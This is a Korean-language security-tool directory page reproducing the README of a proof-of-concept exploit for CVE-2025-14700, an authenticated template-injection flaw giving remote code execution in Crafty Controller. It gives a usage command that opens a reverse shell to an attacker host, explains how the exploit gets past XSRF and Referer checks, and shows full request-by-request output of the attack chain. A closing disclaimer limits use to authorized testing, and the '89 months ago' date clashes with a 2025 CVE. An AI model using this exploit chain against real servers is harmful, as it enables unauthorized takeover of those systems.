Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
POC_CVE-2025-14700 — Crafty Controller에서 인증된 RCE(원격 코드 실행)를 위한 개념 증명 | Kitploit
도구/GitHubGitHub/secdongle/poc_cve-2025-14700
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubsecdongle/poc_cve-2025-14700

POC_CVE-2025-14700

Crafty Controller에서 인증된 RCE(원격 코드 실행)를 위한 개념 증명

저장소 보기
89개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-14700

CVE-2025-14700에 대한 PoC로, Crafty Controller <= 4.6.1의 SSTI(Server-Side Template Injection) 취약점입니다. 이 취약점은 인증된 사용자가 Webhook 구성에 악의적인 Jinja2 템플릿을 주입하여 원격 코드 실행(RCE)을 달성할 수 있게 합니다.

📦 설치

# 저장소 클론
git clone https://github.com/secdongle/POC_CVE-2025-14700
cd POC_CVE-2025-14700

🛠️ 테스트 환경 (Docker Compose)

Crafty Controller 4.6.1의 취약한 인스턴스를 구성하려면 다음 docker-compose.yml 설정을 사용하세요:

1. docker-compose.yml 생성

version: '3'
services:
  crafty:
    image: registry.gitlab.com/crafty-controller/crafty-4:4.6.1
    container_name: crafty-vulnerable
    ports:
      - "8443:8443"     # Web Dashboard
      - "25565:25565"   # Minecraft Server Port
    environment:
      - TZ=Asia/Shanghai
    volumes:
      - ./crafty_data:/crafty_db
    restart: unless-stopped

2. 환경 시작

docker-compose up -d

3. 컨트롤러 초기화

  1. https://localhost:8443에서 웹 인터페이스에 접속합니다.
  2. 초기 설정 마법사를 완료하여 관리자 계정을 생성합니다.
  3. 이 자격 증명을 사용하여 poc.py 스크립트를 실행합니다.

🚀 사용법

단일 대상 공격

# 리버스 셸을 위한 PoC 실행
python3 poc.py -u https://10.67.3.77:8443 -l admin -p 'PASSWORD' -lh 10.67.3.78 -lp 6699

명령줄 옵션

옵션설명
-u, --url대상 Crafty Controller URL (예: https://10.67.3.77:8443)
-l, --login인증에 사용할 사용자 이름
-p, --password인증에 사용할 비밀번호
-lh, --lhost리버스 셸 콜백을 받을 공격자 IP
-lp, --lport리버스 셸 콜백을 받을 공격자 포트

🎯 익스플로잇 기능

  • XSRF 및 토큰 동기화: Tornado _xsrf 쿠키와 사용자 정의 token 헤더 간의 복잡한 동기화를 자동으로 처리합니다.
  • 세션 에뮬레이션: 백엔드 보안 검사를 우회하기 위해 Referer 및 Origin 헤더를 포함한 브라우저 기반 요청을 1:1로 시뮬레이션합니다.
  • 자동화된 체인: 더미 서버를 생성하고 SSTI 페이로드를 주입한 뒤 실행 작업을 하나의 시퀀스로 트리거합니다.

📊 기술 분석

이 익스플로잇은 백엔드의 엄격한 검증 로직에 맞춰 동작함으로써 성공합니다:

요구 사항공격 전략
XSRF 토큰쿠키에서 _xsrf를 추출하여 X-XSRFToken 및 token 헤더에 그대로 반영합니다.
Referer 검사Referer를 대시보드 경로로 설정하여 정상적인 사용자 상호작용을 가장합니다.
헤더 매핑_xsrf 값을 액션 디스패처가 요구하는 특정 token 헤더에 매핑합니다.
페이로드self._TemplateReference__context를 활용하여 os 모듈에 접근합니다.

📝 샘플 출력

python poc.py -u https://10.67.3.77:8443 -l admin -lh 10.67.3.78 -lp 6699 -p 'iMbSnt@OLnBYnU%hVv0aRN2l5djUInSruxAHK2oP0j@QDs$6pkGa8dYEI!G$mLim"'
[*] STEP 1: Visiting login page to retrieve initial _xsrf cookie...
[*] STEP 2: Executing authentication (XSRF: 2|421c9864|03dd...)

================================================================================
[POST] https://10.67.3.77:8443/api/v2/auth/login/ -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Referer: https://10.67.3.77:8443/login?next=%2Fpanel%2Fdashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok",
    "data": {
        "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k",
        "user_id": "1",
        "page": "/panel/dashboard"
    }
}
================================================================================

[*] STEP 3: Creating exploit dummy server...

================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers -> HTTP 201
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok",
    "data": {
        "new_server_id": "d21f875b-3db0-42fa-92c7-2ba10cdf13ba"
    }
}
================================================================================

[*] STEP 4: Injecting SSTI Reverse Shell payload...

================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers/d21f875b-3db0-42fa-92c7-2ba10cdf13ba/webhook -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok",
    "data": {
        "webhook_id": 13
    }
}
================================================================================

[*] STEP 5: Executing protocol-level trigger emulation (Critical Phase)...
[*] Sending start_server action request...

================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers/d21f875b-3db0-42fa-92c7-2ba10cdf13ba/action/start_server -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
token: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok"
}
================================================================================

[*] Sending EULA confirmation action request...

[+] POC Execution completed. Check your nc listener (LHOST/LPORT).

reverse_shell

⚠️ 고지 사항

이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 이 도구의 오용에 대해 책임을 지지 않습니다.

도구 다운로드